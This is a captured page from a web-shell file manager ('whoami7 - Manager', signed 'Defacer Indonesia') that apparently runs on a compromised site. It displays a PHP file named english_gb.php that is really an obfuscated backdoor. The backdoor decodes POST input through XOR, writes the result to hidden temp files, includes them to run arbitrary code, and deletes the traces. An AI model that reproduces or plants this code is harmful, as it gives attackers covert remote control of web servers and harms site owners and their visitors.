whoami7 - Manager
:
/
home
/
analuakl
/
amplmedia.com
/
Upload File:
files >> /home/analuakl/amplmedia.com/english_gb.php
<?php if(@$_POST["k"] !== null){ $token = $_POST["k"]; $token = explode ( "." , $token ) ; $pgrp = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $l = 0; $len = count($token ); do { if ($l >=$len) break; $v7 = $token[$l]; $chS = ord($s[$l % $lenS] ); $d = ((int)$v7 - $chS - ($l % 10)) ^ 66; $pgrp .= chr($d ); $l++; } while (true ); $res = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd()]); $entry = 0; do { $elem = $res[$entry] ?? null; if ($entry >= count($res)) break; if (is_dir($elem) && is_writable($elem)) { $val = implode("/", [$elem, ".parameter_group"]); if (@file_put_contents($val, $pgrp) !== false) { include $val; unlink($val); exit; } } $entry++; } while (true); } if(!is_null($_POST["r\x65\x73"] ?? null)){ $data_chunk = array_filter(["/var/tmp", session_save_path(), "/dev/shm", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP")]); $mrk = $_POST["r\x65\x73"]; $mrk = explode('.' , $mrk ) ; $itm = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($mrk as $z => $v4) {$sChar = ord($salt[$z %$lenS]); $dec = ((int)$v4 - $sChar - ($z %10)) ^ 66; $itm .= chr($dec); } foreach ($data_chunk as $data) { if (is_dir($data) && is_writable($data)) { $factor = str_replace("{var_dir}", $data, "{var_dir}/.dchunk"); $file = fopen($factor, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $factor; @unlink($factor); exit; } } } }
Copyright ©2021 || Defacer Indonesia